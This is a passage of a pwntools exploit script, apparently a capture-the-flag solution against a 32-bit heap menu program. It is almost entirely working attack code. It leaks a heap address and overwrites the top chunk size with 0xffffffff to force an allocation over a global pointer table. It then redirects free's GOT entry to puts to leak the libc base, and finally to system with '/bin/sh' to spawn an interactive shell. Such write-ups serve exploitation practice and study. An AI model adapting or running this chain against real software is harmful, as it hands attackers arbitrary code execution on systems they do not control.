    io.sendlineafter('option--->>\n', '3')
    io.sendlineafter("Input the id:\n", str(idx))
    io.sendlineafter("Input the new content:\n", content)
    io.recvline()


def del_chunk(idx):
    io.sendlineafter('option--->>\n', '4')
    io.sendlineafter("Input the id:\n", str(idx))

io.sendafter("Input your name:\n", 'a' * 0x40)
io.recvuntil('a'*0x40)
heap_addr = u32(io.recv(4))
info("heap_addr:"+hex(heap_addr))

io.sendafter("Org:\n", b'b' * 0x40)
io.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
# io.recvuntil("OKay! Enjoy:)\n")

top_chunk = heap_addr+0xd0
offset = 0x0804B120 -top_chunk-20

add_chunk(offset,'')
for i in range(4):
    add_chunk(0x40,'aaa')

exit_chunk(1, p32(0x804b120) * 2 + p32(elf.got['free']) + p32(elf.got['printf']))
exit_chunk(2, p32(elf.plt['puts']))

del_chunk(3)

libc.address=u32(io.recv(4))-libc.sym['printf']
info("libc_base:"+hex(libc.address))
exit_chunk(1, p32(0x804b130) * 2 + p32(elf.got['free']) * 2 + b'/bin/sh')

exit_chunk(2, p32(libc.sym['system']))

del_chunk(0)
# del_chunk(3)
# gdb.attach(io)

io.interactive()